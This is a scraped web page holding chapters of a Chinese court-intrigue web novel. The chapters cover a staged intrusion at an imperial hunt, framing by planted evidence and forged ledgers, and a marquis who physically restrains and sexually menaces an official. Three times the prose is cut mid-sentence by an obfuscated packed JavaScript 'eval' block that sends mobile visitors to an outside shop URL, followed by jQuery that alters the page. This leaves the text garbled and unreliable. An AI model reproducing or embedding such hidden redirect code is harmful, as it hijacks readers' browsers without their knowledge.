《不问神明》
7. 纷营
十一月初一,天还没亮,围场四周就已扎满了营帐,明黄的龙帐居中,左右分列着官员与世家的帐篷,旌旗在晨风中飘扬,远远望去,像片翻涌的彩色云团。
辰时刚过,李昇的仪仗便到了,百官簇拥着龙驾往观礼台去,衣袍摩擦的窸窣声、马蹄声、禁军甲胄的碰撞声混在一起,规整中带着混乱。
南无歇来得晚些,依旧骑着他那匹纯黑战马,他没去凑观礼台的热闹,只在猎场边缘勒住马,看着禁军们牵着猎犬来回巡视,依然挂着点漫不经心的笑。
“永辞哥!”崔始颉骑着匹白马从后面追上来。
南无歇点头应着,目光扫过不远处的晁允平,他穿着禁军统领的甲胄,正指挥着手下布置围猎的范围,眉头紧锁,额角渗着细汗。
也难怪那人这么紧张,这场秋猎的差事,办好了是本分,办砸了便没有小错。
“晁统领倒是勤勉。”南无歇忽然开口,声音不大,却恰好让旁边的崔始颉听见了。
崔始颉顺着他的目光看去,撇了撇嘴:“我爹说,他是想在陛下面前表现呢,不过说真的,这围场防卫做得是真仔细,连猎犬都分了好几拨巡逻。”
南无歇低笑一声,没接话。
日头升到半空时,李昇在观礼台上拉响金弓,宣告秋猎开始。
号角声骤然响起,震得林子里的飞鸟扑棱棱飞起,骑士们纵马冲入围场,箭羽破空的锐响此起彼伏,很快就有亲兵捧着猎获的獐子、野兔送到观礼台前,引得台上台下一片喝彩。
南无歇没下场,只与崔几悼在观礼台侧的凉棚下坐着,看崔始颉跟几个世家子弟比箭。
少年人箭术不错,射出的几箭都指哪打哪,正得意地扬着下巴,忽然瞥见不远处的嵇舟,便扬声喊道:“阿舟!要不要来比一场?”
嵇舟笑着摆手:“崔公子箭术精湛,我可不敢献丑。”
围场的秋阳正烈,晒得人脊背发烫。
崔始颉拉满了弓,箭矢瞄准远处的麋鹿,少年人脸上满是较劲的认真,方才他的永辞哥夸了句晁允平的箭法,他便非要露一手不可。
“看我的!”他扬声喊了句,指节一松,羽箭破空而去,直直射向远处树下的那头小鹿。
箭离弦时,带着少年人不知轻重的力道,破空声尖锐得刺耳。
观礼台侧的众人都注视着飞去的箭矢,可下一秒,所有人的目光都被斜刺里冲出来的黑影拽走了。
“那是什么?!”
那是个穿着粗布短打的汉子,不知从哪片林子钻出来的,疯了似的往观礼台方向冲,恰好撞在箭矢的轨迹上。
“是个人!”不知是谁喊了一声,“那是个人!”
猎场为何会突然出现一个来路不明的人?!
崔始颉此时已经惊得脸色惨白,这一秒对他来说仿佛变得很长,但箭已离弦,他只能眼睁睁看着箭矢射向那汉子的胸膛。
崔几悼的惊呼卡在喉咙里,晁允平拔刀的手僵在半空,连观礼台上的李昇都微微前倾了身体,惊呼声里,羽箭已到那人眼前。
就在这千钧一发之际,只见一支羽箭突然从凉棚方向射出!
那箭来得极快,带着凌厉凶悍的狠劲。
“铛”!
两支箭在半空相撞,崔始颉的箭杆应声而断,箭头失了力道,斜斜坠落在地。
而那支从侧翼杀过来的羽箭,也已没入远处的树干,箭尾还在嗡嗡震颤。
所有人都愣住了。
那汉子被吓得腿一软,瘫坐在地上,场内众人也瞬间安静下来,所有人惊魂未定的目光都落在崔始颉身上,又悄悄转向晁允平。
晁允平的脸色青一阵白一阵,防卫是他的职责,如今竟让个不明身份的汉子闯到观礼台附近,还被崔家公子一箭逼停,这无疑是他失察。
“晁统领!”崔几悼先开了口,语气带着点责备。
老尚书喘着粗气,顿了一顿,看了李昇一眼,随后继续说道:“这就是你说的严密防卫?若是伤了陛下,或是伤了诸位大人,你担待得起吗?”
晁允平攥紧了刀柄,强压着怒火躬身道:“是下官失职,这就去查!”
“查?”崔几悼冷哼一声,“查什么?有什么好查的?!这汉子偏偏在崔某儿子射箭时闯出来,倒像是故意让他担个‘擅伤平民’的罪名!”
这话戳得又准又狠,明着是指责防卫失职,暗地里却把矛头指向晁允平,暗示是他故意安排人闯场,想栽赃崔家。
晁允平气得脸色涨红:“崔尚书这话是什么意思?下官绝无此意!”
“有没有意,不是你说了算的。”崔几悼寸步不让,“这汉子来历不明,为何偏偏闯到这里?又为何偏偏在尧吉搭箭时冲出来?晁统领最好给个说法!”
两人你一言我一语,吵得面红耳赤,观礼台上的李昇神色自若,温不迟站在他身后,垂着眼,看不清他的神情。
南无歇端着茶盏,慢条斯理地吹着浮沫,也看不出眼底的情绪。
这汉子来得太巧,刚好撞在崔始颉搭箭的时候,能让崔、晁两家起冲突,既搅乱了秋猎,又让负责防卫的晁允平下不来台,还能让崔家与晁家生嫌隙。
晁允平急着撇清,崔始颉慌得说不出话,崔尚书维护儿子声声讨伐,倒让真正想看戏的人,藏得更稳了。
南无歇抬眼看向人群中的嵇舟,对方正低声安抚着身边的官员,脸上挂着恰到好处的担忧,他忽然低笑一声,将茶盏往桌上一搁。
“刚刚,”李昇的声音从观礼台上传来,“是谁射的那第二箭?”
“回陛下,”南无歇朗声开口,“崔公子年轻,手劲没准头,这围场里都是自己人,伤了谁都不好。”
李昇盯着他看了片刻,忽然笑了:“南爱卿好箭法。”
这话听不出是褒是贬,却让紧绷的气氛更加压抑。
崔几悼忙拉着崔始颉上前谢恩:“多谢侯爷出手!是尧吉鲁莽,险些酿成大错!”
崔始颉也反应过来,脸涨得通红,对着南无歇深深一揖:“多谢永辞哥…”
这边暂且揭过,那边晁允平却躲不过去了,李昇的目光落在他身上,脸色沉了沉:“晁统领,这是怎么回事?围场的防卫,就是这样的?”
晁允平“噗通”一声跪下,额头抵着地面:“属下失职!请陛下降罪!”
温不迟在这时上前一步,躬身道:“陛下息怒,当务之急是查清此人来历,看是误闯还是另有图谋,晁统领防卫失职,确有过错,但念在他平日勤勉,不如先令其戴罪查案?”
李昇沉吟片刻,点了点头:“就依你说的办,三日之内,朕要知道这人的底细。”
“是!”晁允平叩首谢恩,起身时,后背已被冷汗浸透。
他抬眼看向南无歇,对方正垂眸擦拭着弓身,仿佛刚才那一箭只是随手为之,可晁允平却觉得,那支箭不止断了崔始颉的箭,更像是在他脸上扇了一巴掌,明晃晃地告诉所有人,他连个围场都守不住,还得靠别人来收拾烂摊子。
温不迟的目光也落在南无歇身上。
南无歇像是没察觉到众人的目光,擦完弓,随手递给身后的卫清禾,转身往凉棚走,经过那汉子身边时,他脚步顿了顿。
那汉子还瘫在地上,脸色惨白,胳膊上刚才被箭风划了道浅浅的口子,此刻正哆哆嗦嗦地看着他。
南无歇的目光在他手上扫过,指节粗大,虎口有老茧,绝不是普通山民该有的手。
他没说话,径直走了过去。
秋阳依旧炽烈,可这晁允平的罪是逃不掉了,崔始颉虽没犯错,却也惊出一身冷汗。
只有南无歇,仿佛什么都没发生过,回到凉棚下,端起早已凉透的茶,慢悠悠地喝着。
他抬眼看向观礼台,温不迟恰好也望过来,四目相对,没什么言语,随后只见温不迟噙着温润的笑,微微一颔首。
南无歇也唇角微勾,回了个意味不明的笑。
午时,秋猎的闹剧刚过,龙帐里便只剩下李昇与温不迟君臣二人
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526715|186332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
李昇靠在软榻上,手里捻着佛珠,目光落在帐外晃动的旌旗上,声音听不出喜怒:“南无歇那箭,倒是及时。”
温不迟垂立一旁,青衫在帐内昏暗的光线下显得愈发素净:“侯爷箭术卓绝。”
“卓绝?”李昇低哼一声,将佛珠往案上一搁,“他倒是难得出手。”
温不迟没接话,他太了解李昇了,晁家与崔家近来都与南无歇走得近,李昇早就想敲打敲打,今日这场“意外”定是李昇暗中安排的人,既给了晁允平一个“防卫失职”的罪名,又能借崔始颉的箭,把崔家也拖下水。
只是没料到,南无歇会突然出手,断了崔家的祸根,独独留下晁家来担罪。
“晁允平这性子,太急。”李昇忽然道,“镇不住事,也成不了气候,方才看他的眼神,倒像是怪起南无歇了,如此倒也不错。”
温不迟心里了然,李昇是想借这事,削了晁家在禁军的势力,同时推翻南、晁两家武将之间的关系。
他躬身道:“陛下圣明。”
他退出去时,帐外的秋风正紧,吹得他广袖翻飞。
其实李昇布局的这出戏还谈不上高明,但却足够有效,晁家受罚,崔家受惊,南无歇虽解了围,却也难免让晁允平对他多几分责怪。
是夜,南侯府的书房里,南无歇正对着盏孤灯出神。
他猜的全面,李昇想一箭三雕,晁允平急于自证清白,崔几悼的恼怒半真半假,温不迟则隔岸观火,偌大的棋盘上纷纷杂杂,各有各的想法。
今日晁允平最后看他的那个眼神他也记得清楚,那孩子是个不聪明的,倘若真是被这事挑拨了,怕是日后会让人当枪使,最后怎么死的都不知道。南无歇虽然懒得管他人的命运,但晁老将军与他父亲毕竟是有情义在的,他也做不到完全对晁家的事无动于衷。
更何况,于他自己而言,晁允平的误会和责怪也只有坏处,所以,这事,他是一定得管的,还得管的让晁允平明白。
***
秋猎的余波还在朝堂漾着,晁允平被李昇训斥后,便带着亲兵疯查那汉子的底细,却连半分有用的线索都没摸到。
这夜,御书房烛火通明,李昇正翻着晁允平送来的查案文书,温不迟站在案侧,垂首而立。
“查了两天,就查出这些?”李昇把文书往案上一丢,声音里带着点轻松和不屑,“一个来历不明的汉子,闯了围场,到现在连他是哪来的都没弄明白?”
温不迟声音放得平缓,装作不知道实情,顺着李昇说:“那汉子嘴紧,打也打了,劝也劝了,只说是山里的猎户,采蘑菇迷了路。晁统领急着撇清,审得急了些,反倒没问出什么。”
“急?”李昇轻笑一声,“他是该急,防卫成这样,若真是有心人混进来,他晁家有多少颗脑袋够砍?”
温不迟陪着演的乏味,没接这话,反而话锋一转,“陛下,嵇家那边近来动作不少,前些日子谛听台查到江南盐道有大量亏空,恰好是在嵇尚书漕运安插了两个亲信之后的事,如此下去,只怕是——”
“朕知道,”李昇打断他,随后突然想起了点什么,眼底闪过冷光,若有所思的说:“要说起来,这嵇家……倒是有理由,又有路子安排个人进猎场,嗯?”
温不迟垂下眸,微微勾起唇角。
他要的就是这句话!
他始终装作不知实情,又抓准时机提到嵇家贪腐一事,就是为了让李昇动这个脑筋!
殿外的风卷着落叶刮过窗棂发出闷响,各有各的盘算,直到李昇哈欠连天,温不迟才躬身告退。
走出皇门,戎珂候在暗处:“主人,晁统领还在审那汉子,听着动静,像是动了刑。”
“让他审。”温不迟沉着声音,“审不出东西才好。”
他顿了顿,从袖中摸出张纸条,递给戎珂:“把这个送到南侯府,亲手交给南无歇。”
戎珂接过纸条,借着灯笼光看了眼,上面只有八个字:陛下授意,指向嵇家。
8. 试探
而此时的南侯府,晁允平正背着手在南无歇的书房里打转,他刚从牢里回来,甲胄上还沾着血腥味,额角的青筋突突直跳。
“审了两天!鞭子都打烂了几根,那汉子就是不松口!再这么耗下去,三日期限一到,我这统领之位就别想要了!”
南无歇歪在窗边,风淡云轻地看着他:“急什么?急就能审出东西?”
“我能不急吗?”晁允平停下脚步,声音里带着点挫败,“我爹在边关来信,让我在京里谨言慎行,结果我……”他猛地一拳砸在案上,震得砚台里的墨汁都溅了出来,“那汉子肯定有问题!他手上的茧子,绝不是猎户该有的!定是有人故意安排的!”
“哦?”南无歇抬眼,“谁安排的?”
“我不知道!”晁允平烦躁地抓了抓头发,“但我知道肯定是冲着我来的!冲着晁家来的!”
南无歇看着他泛红的眼睛,忽然觉得有些遗憾,晁逍尘一生戎马,战功无数,但这晁允平,什么都想争,什么都想抢,偏生遇着事就沉不住气。
“晁老将军当年在北境,被人围在雪地里五天四夜,也没像你这样。”南无歇随手拿起颗棋罐里的棋子,漫不经心上下端详着淡淡道。
晁允平的脸瞬间涨红,却没反驳。他知道,自己确实不如父亲。
“侯爷,”他放低了姿态,声音里带着点恳求,“您帮帮我,只要能查出幕后主使,我——”
“查不出。”南无歇打断他,随手将棋子丢回棋罐,发出清脆的碰撞声,“或者说,查不出来就是最好的结果。”
晁允平愣住了:“侯爷什么意思?”
“意思就是,别查了。”南无歇站起身,走到他面前,“剩下这一天该睡睡,该吃吃,明日之后,自有结果。”
“可是……”
“没有可是。”南无歇拍了拍他的肩膀,力道不轻不重,“照我说的做,别忘了,你是晁逍尘的儿子。”
晁允平看着他笃定的眼神,心里的焦躁莫名地平息了些。
他张了张嘴,最终还是把话咽了回去,躬身道:“是,我明白了。”
南无歇看着低下头的晁允平,心里默默叹了口气,好在对方现在还算信任他南无歇,也还算比较听话。
送走晁允平,书房里安静下来,南无歇重新坐回窗边,看着天边的残月,屈指在案上轻轻敲着。
晁允平太急,急着证明自己,急着摆脱困境,却没看清这局棋的要害,李昇和崔家要的都不是真相,而温不迟……
他正想着,卫清禾轻手轻脚地走进来,手里捧着张纸条:“侯爷,谛听台的人送来的。”
南无歇接过纸条,就着月光看了眼,八个字,力透纸背。
他忽然笑了,将纸条凑到烛火上,很快燃成灰烬,随风散在窗台上。
“温不迟倒是……”他没说下去,眼底却闪过丝兴味。
卫清禾低声问:“侯爷,要插手吗?”
“不插手?”南无歇站起身,走到书架前,抽出京城地图,缓缓展开,“不插手能行吗?再者说,不插手岂不辜负温大人一番美意了?”
他的指尖落在嵇府的位置,轻轻一点:“去办件事,找个机灵的,往那汉子的身上放样东西。”
“是。”卫清禾应声要走,又被南无歇叫住。
“慢着。”南无歇想了想,“别做得太刻意,等晁允平那边审得差不多了,再‘不经意’地被发现。”
“明白。”
三更的梆子敲过,嵇府后巷的阴影里,两个黑影悄无声息地交接。
卫清禾将个小布包递给对方,压低声音:“去刑部大牢,按侯爷的意思办,天亮前办妥。”
那人接过布包,身影一闪便没入了墙后。
清晨,刑部里突然炸开个消息,那被关押的汉子,竟在牢里“畏罪自尽”了,死状极惨,怀里还揣着半块刻着嵇家标记的玉佩,旁边压着张揉皱的字条,上面歪歪扭扭写着“供词”:受嵇家指使,搅乱秋猎,挑拨崔晁。
晁允平赶到时,刑部已围了不少官员,现场乱七八糟。
嵇舟正皱着眉跟父亲嵇业说着什么,老尚书气得脸色铁青,却什么都没说,像是让人抓住了什么把柄,被威胁后咽下了这场“无妄之灾”。
而这一切,南无歇都看在眼里,他坐在远处的楼顶上,手里把玩着片枯叶,看着晁允平被禁军簇拥着,一脸错愕地验看“证据”和“供词”,看着李昇派来的内侍匆匆记录,看着温不迟站在人群外一言不发。
“侯爷,这嵇家…这就认了??”卫清禾在他身后低声道。
“是啊…竟然就这么认了…”南无歇将枯叶丢进风里,眯着眼睛喃喃道。
栽赃一事明镜也似,但既然嵇家并没有任何反驳,那猎场这事儿便属于是“查明真相”了。
于是,午时李昇的旨意便传了下来:晁允平防卫失察,罚俸三月,暂留原职戴罪立功;嵇家因“管束不严”,罚没半年俸禄,嵇尚书闭门思过一月。
晁允平接旨时,还有些发懵,他不明白那汉子为何突然自尽,更不明白怎么就扯上了嵇家,他叩首谢恩,心里却一团浑。
散场时,他远远看见南无歇正翻身上马,披风在风中飞扬,像只振翅的鹰。
他想上前求解,又觉得唐突,刚挪了两步,就见南无歇的马已扬尘而去,连个回眸都没有。
角落的马车里,温不迟看着窗外掠过的街景,对身旁的戎珂道:“南府的人动作倒是快。”
戎珂点头:“卫清禾昨夜去过嵇府后巷。”
温不迟浅笑一声,“够利落的,既给了陛下台阶,又保了晁允平,还顺便踩了嵇家一脚,他这就算承了我这份诚意了。”
戎珂沉默片刻:“主人,咱们接下来……”
“等,”温不迟靠在车壁上,闭上眼,“等他南无歇来谢我。”
回到南侯府,南无歇刚换下披风,便见侍女捧着个锦盒进来:“侯爷,晁府送了些西域的奶酪,说是感谢您出手。”
南无歇瞥了眼锦盒,淡淡道:“收着吧。”
晁执衡啊晁执衡,虽然难成大器,但确实不算愚钝至极。
秋猎的余波渐渐平息,这日傍晚,南无歇在城西的酒肆门口,抱着胳膊仰着脑袋,百无聊赖的瞧着天。
温不迟刚从铁器铺出来准备回府,见了倚在酒肆门柱上的南无歇,他脚步顿了顿,随后轻飘飘的掠了那人一眼。
“侯爷好生清闲。”
南无歇闻声,垂头看他,随后往那人身后瞧了一眼,咧嘴一笑,“温大人这是去打兵器了?”
他直起身,往前迎了两步,带着散漫的气息,“借一步说话?”
温不迟没动,也没吭声,只清傲地瞥了南无歇一眼。
南无歇朝酒肆里扬了扬下巴,“我想请大人喝杯薄酒,”
他挤了挤眼睛,露出促狭神情,“道谢。”
二楼雅间,窗外是渐沉的暮色,南无歇倒了杯烈酒,推到温不迟面前:“嵇家做了这冤大头,温大人满意了?”
“侯爷谬赞了,”温不迟没碰那杯酒,“倒是晁统领的麻烦解决得干净,侯爷可还满意?”
“满意,当然满意,”南无歇仰头饮尽杯中酒,喉结滚动,“温大人递的那纸条,倒是及时。”
温不迟抬眼看他,却没在继续引导,二人对视片刻,南无歇身子前倾,手肘撑在桌上,目光像带着钩子,“为何要告诉我?就为了表达合作的诚意?”
“侯爷心知肚明,此事我夹带的私欲不过是打压一下嵇家,但我为侯爷送上了为晁允平脱罪的思路这也是事实,”温不迟笑了笑,桃花眼里盛着暮色,看不真切情绪,“侯爷同我联手,于你我都有好处,这点道理,想必侯爷也明白,不需要我说。”
“只是这样?”南无歇追问,语气里添了几分玩味,“温大人既是龙榻上的人,在本侯面前暴露了李昇是猎场一事的幕后主使,就不怕他寒心?”
这话戳得直白,带着点刻意的羞辱。
温不迟握着杯盏的手紧了紧,“侯爷这话,未免太过刻薄了。”<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526716|186332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“刻薄吗?”南无歇低笑一声,忽然伸手去拨弄对方的额发,“我只是好奇,温大人对李昇,到底有没有半分真心?”
温不迟轻轻偏头避开他的手,“侯爷当真是不要脑袋的主儿,什么话都敢问。”
南无歇却不放过他,浅笑着起身,踱步到他身后俯下身,温热的气息拂过温不迟的后颈,“温大人是不想说?还是不敢说?”
说着,他的手指顺着温不迟的后脖颈往下滑,带着肆无忌惮的轻薄和侵略性。
温不迟的呼吸骤然变粗,猛地站起转身抬手拍开他的手,身形一闪退到窗边,广袖下的手已攥成了拳。
“侯爷,”他的声音冷得像冰,“莫要太过分。”
“这就叫过分,”南无歇挑眉,缓步逼近,“我还想更过分点,怎么办?”
话音刚落,他突然欺身而上!
右手直取温不迟的肩,这招来得快且猛,带着战场练出的果决。
温不迟瞳孔骤缩,几乎是本能地侧身避开,同时左手成掌,快如闪电般拍向南无歇的肋下,掌风凌厉,带着强劲的内力。
南无歇却不闪不避,硬生生受了他这掌!
他微微晃了晃,同时右手趁势扣住了温不迟的手腕,指腹下的脉搏跳得极快,带着习武之人特有的力道。
“温大人果然会武。”南无歇的声音里满是笑意,手上却默默加重着力气,逼着对方继续出手。
温不迟吃痛,随后果真猛地回肘撞向南无歇的胸口,同时右脚横扫,招式狠辣,招招致命。
平日里那副温和面具碎得彻底,眼底只剩搏命的锐光。
南无歇却游刃有余,他不硬碰硬,只借着身形的灵活辗转腾挪,时而伸手撩拨,时而假意退让,看似险象环生,实则步步掌控着节奏。
他能感觉到温不迟的内力不弱,招式也刁钻,只是实战经验远不如他,越是急,破绽越多。
二人打得有来有回,几个回合下来,南无歇差不多有了数,随后径直一拳,刚烈的劲道直指温不迟的左肩!
“砰!”的一声,温不迟的后背撞上了墙壁。
南无歇顺势欺近,一手按在他身侧的墙壁上,另一手掼着他的胳膊转过去,小臂顺势架在那人的后脖子上将人抵在墙上,身体往前一压,将他牢牢困在身前与墙面这逼仄一隅。
温热的胸膛贴着后背,带着烈酒与檀香的味道,强势而霸道。
温不迟挣扎了几下,奈何对方的手臂像铁箍般纹丝不动,无法挣脱,而后脖颈处的力道不轻不重,刚好让他动弹不得,却又不至于受伤。
“侯爷,你我二人,不至于吧?”温不迟的声音里带着压抑的怒意,还有一丝不易察觉的慌乱。
南无歇的下巴抵在他的发顶,声音低沉,语气松弛,“温大人的武功比我想的好,只是……还不够。”
温不迟没说话,胸腔剧烈起伏着,不知道是还没从刚才的缠斗中平复,还是让这人气的。
南无歇忽然低下头凑到他耳边,续道:“现在可以告诉我了吗?你对李昇,到底有没有半分真心?”
气息拂过,又热又痒,温不迟的身体猛地一僵,随即偏过头,“有又如何?没有又如何?”
“若有,”南无歇的手臂收紧了些,“那你就是个叛徒,若没有……那你这‘龙阳客’的戏,演得可真够像的。”
温不迟闭了闭眼,再睁开时,眼底的怒意已被一片冰冷取代,他缓缓开口,声音平静:“是,我是陛下的娈宠,那又怎么样?”
南无歇听到了答案,忽然觉得方才的试探索然无味,他看着那人的侧脸,随后松开了压着对方后颈的手臂,身体但却没退开,依旧将人困在臂弯与墙壁之间。
“是吗,那还真是恭喜……”他微微一顿,“…陛下了。”
说着,他的指尖顺着温不迟的颈线缓缓下滑,从喉结滑到衣襟的盘扣,轻轻一挑,那枚精致的玉扣便松了。
“挣脱我,”
他沉着语气,带着乖戾与诡谲。
“用全力。”
9. 猫鼠
温不迟身体紧绷,胸口剧烈起伏着,却没动,他知道自己的武力根本敌不过南无歇,他强持着带点倨傲的镇定,轻声开口:
“侯爷为何如此乐此不疲,拿下官寻开心?”
南无歇俯身凑近,呼吸交融,“因为温大人,是京城里最有趣的人。”
“有趣?”温不迟嘲讽一笑,“在侯爷眼里,把人困在怀里轻薄,也算是有趣?”
“当然算有趣,不过也看怀里的人是谁。”
说完,南无歇的手指勾着温不迟松开的衣襟,轻轻往外拉了拉,目光落在他颈间细腻的皮肤上。
“尤其是看温大人这副明明动怒却偏要装镇定的样子,比看那些世家子弟互相攻讦有意思多了。”
他忽然放轻了语气,带着点蛊惑:“若实在挣脱不了,温大人可以试试求我。”
这要求太过于侮辱,求?谁求??求谁??
温不迟仿佛被这话崩了牙,倏然转头怒目看他,“你说什么?”
“我说,让温大人说点好听的,”南无歇在他颈侧轻轻摸了摸,“说句软话,或许我就放开你了。”
温不迟猛地偏过头,避开他的触碰,“下官自幼不会求人。”
他温不迟这辈子可从未求过谁,哪怕是曾经在温府时也从未为了任何低三下四,更何况是以此刻这种屈辱的方式对他南无歇。
“啧,嘴这么硬。”南无歇低笑,指尖转而推着他的下巴,强迫他转过头来,“够野的,李昇竟是好这口?”
温不迟的身体猛地一颤,像是被这句话刺中了痛处,脸色瞬间变得精彩。
南无歇却变本加厉,凑近他的耳边,继续撩拨道:“不过也巧了,本侯也好这口。”
“也不是那么巧,”温不迟强忍怒气,字字清晰,“下官不好侯爷这口。”
“那又如何?”南无歇笑得更欢了,“你又挣脱不了我。”
这句话像根针,狠狠扎进温不迟的心里,他侧目看着近在咫尺的脸,看着那双带着戏谑与侵略性的眼睛,他只觉得一股怒火直冲头顶,却偏偏动弹不得,只能任由对方轻薄。
南无歇看着他气得微微发红的脸,终于觉得闹够了,他松开手,后退半步,顺手想替温不迟系好衣襟的盘扣。
温不迟却不给机会继续肢体接触,几乎是立刻后退,拉开距离,抬手整理着凌乱的衣服,胸口还在剧烈起伏。
南无歇看着他这副狼狈却依旧挺直脊背的样子觉得有趣,他忽然开口,语气带着些肆意,“这月十五,我会要了你。”
温不迟猛地抬头看他。
“在这之前,”南无歇的目光扫过他紧握的双拳,唇角勾起那抹笑,“你可以逃,可以动手杀我,也可以煽动旁人围攻我、牵制我,总之,想尽一切办法,别让我得手。”
他顿了顿,补充道:“当然,若是你没本事阻止我……”
后面的话他没说,只是勾了勾嘴角,递过去一个诱骜的眼神,那眼神仿佛此事胜负已分。
不得不承认,南无歇甚是喜欢这种猫鼠游戏,喜欢这种角逐争抢的刺激快感。
随后,他转身就走,只留下阵带着酒气的风。
雅间里只剩下温不迟一人,他扶着墙壁,胸口的起伏许久才平复下来。
这月十五……
温不迟攥紧了拳,眼底闪过一丝恨意。
南无歇,你最好求神拜佛别落在我手里。
***
崔始颉歪在茶楼雅间的藤椅里,像个泄了气的皮球一样,隔一会儿便叹一声。
嵇舟端坐在他对面,从容斟了两杯茶,热气蒸腾,氤氲了他沉静的眉眼。
“阿舟,嵇老尚书为什么要害我呀?”崔始颉又叹,“你我二人是好友,难道他跟我爹关系不好?”
他抬眼看向对面的人,那人正含笑看着他,“害得我被爹罚跪,连出门的时辰都限死了,天没黑就得回府。”
他努努嘴,“都怪你爹。”
嵇舟笑笑,微微一点头,看起来确实没有半分恶意,“今日约你出来,正是要解释此事。尧吉,这其中实有误会,家父并非有意牵累你,此事确是我们的不是,家父心中愧疚,特地要我前来致歉。”
嵇家认下了这桩子虚乌有的罪名,认得干脆,认得诚恳,反倒让人没了脾气。
不过话说回来,以崔始颉的性子,他嵇舟认与不认原也不影响二人交好,他向来觉得那些蝇营狗苟是父辈之间的事,同他们没什么相干。
“阿舟,你说他们大人怎么那么累啊,哪像咱们,吃好吃的玩好玩的,约在一起喝茶,开春一起踏青,这多自在啊。”崔始颉歪着脑袋,又叹了口气,“我们要一直这么下去才好。”
嵇舟看着孩子的模样心尖略微一动,崔尧吉太过纯善,纯善到连嵇舟都在尽力避免自己的算计污了他。
但人各有姓,各有立场,这令人不忍直视的现状终归避无可避。
“尧吉,你我皆未入仕,无论出身为何,总归是自由身,”嵇舟端起茶杯,向对方示意,“你我二人是好友,与旁的都无关。”
这话说得狡黠又周全,留足余地,此时无官无职,他们的情谊尚且干净,不染算计,可将来若踏入仕途呢?那便难说了。
可这话崔始颉自然是想不到那么深远,他扬起纯稚开朗的笑容,像是解决了天大的难题,从椅中直起身,执杯与对方轻轻一碰。
“那就好!阿舟!你心里也别存什么疙瘩,横竖都是大人们的纠葛,可不能影响你我!”
说罢,他将茶一饮而尽,袖口随意抹了抹嘴角,笑如朝阳般耀眼。
嵇舟颔首一笑,随后轻缓抬手,也喝空了杯。
***
十三这天的风带着深秋的凉意,卷着落叶扫过南侯府的朱门。
而在此之前的初九,温不迟的书房里曾有过一场密谈。
户部尚书傅叡州坐在客座上,手指反复摩挲着茶盏的边缘,鬓角的白发在烛火下格外显眼。
“温大人,这…真要这么做?他毕竟是战功赫赫的侯爷,若是……”
“傅大人怕了?”温不迟抬眼,烛光在他眼底投下明明灭灭的影,“前日江南盐道的缺,陛下已准了令侄补上,这份恩宠,傅大人不想接着?”
傅叡州的喉结动了动,内心万般挣扎,温不迟给的饵太香,那盐道是块肥肉,众人盯着、嵇家按着,若是真能把自家人填进里面,今后的油水那是不容小觑的。
“可……可他是九关统帅,”老尚书声音发紧,“私吞军饷又是死罪……”
“私吞军饷确是死罪不假,但这罪名是否属实,是需要查的。”温不迟浅笑着将一叠账册推过去,“这是津元三年北境的粮草底册,上面南无歇的笔迹是仿的,左不过只是加了几笔‘私调’的记录,到时候三法司会审,查起来没那么快,等他们查明白,傅大人的侄子早已在盐道站稳脚跟。”
温不迟的话就说到这里,但傅叡州懂了,这人只是要把南无歇拖进泥潭呆上些时日,并不是真的想要借这事要了那人的命。
见老尚书犹豫不语,温不迟再喂一颗定心丸,“傅大人只需递折子,剩下的,本官来安排。”
傅叡州看着那叠账册,终是咬了咬牙,应了下来。
十三这日的南侯府葡萄架下,南无歇正用银签挑着颗冰镇的葡萄,慢悠悠地送进嘴里。
冰甜的汁水在他嘴巴里漫开,清爽的要命,院外传来脚步声时,他甚至都没抬眼皮。
“侯爷倒是有口福的,“温不迟的声音从月洞门口传来,比冬风更凉些。
南无歇这才抬眼,见他立在光影里,青衫被风拂得微动,身后跟着十几名刑部的差役。
他笑了笑,又挑了颗葡萄:“温大人也一起尝尝?”
温不迟走进来,目光扫过石桌上的果盘,随后又落在南无歇捏着银签的手上。
“陛下有旨。”他没绕弯子,声音平稳得像一潭深水,“户部尚书傅叡州奏报,津元三年北境军饷账册存疑,牵扯南侯府,需侯爷配合调查。”
南无歇含着葡萄,慢悠悠地嚼着,眼底没半点波澜:“津元三年?我想想……那年冬天,我在赤关守了四个月,帐外雪积了两尺厚,差点以为要冻毙在那儿。”
温不迟缓步上前,靴底发出笃笃的响,“陛下命三法司彻查,特命下官来请侯爷移步刑部,”
他顿了顿,目光扫过石桌上的葡萄碟,添了句:“侯爷如
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16526717|186332||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此定力心性,泰山崩于前而色不变,当真是世间少有。”
这话听着像夸赞,尾音里却裹着点针似的冷意。
南无歇吐出葡萄籽,用银签拨了拨碟子里的果皮,“啧,也真是难为傅大人他老人家了,都这么大岁数了,记性倒是好,四五年前的账都翻得出来。”
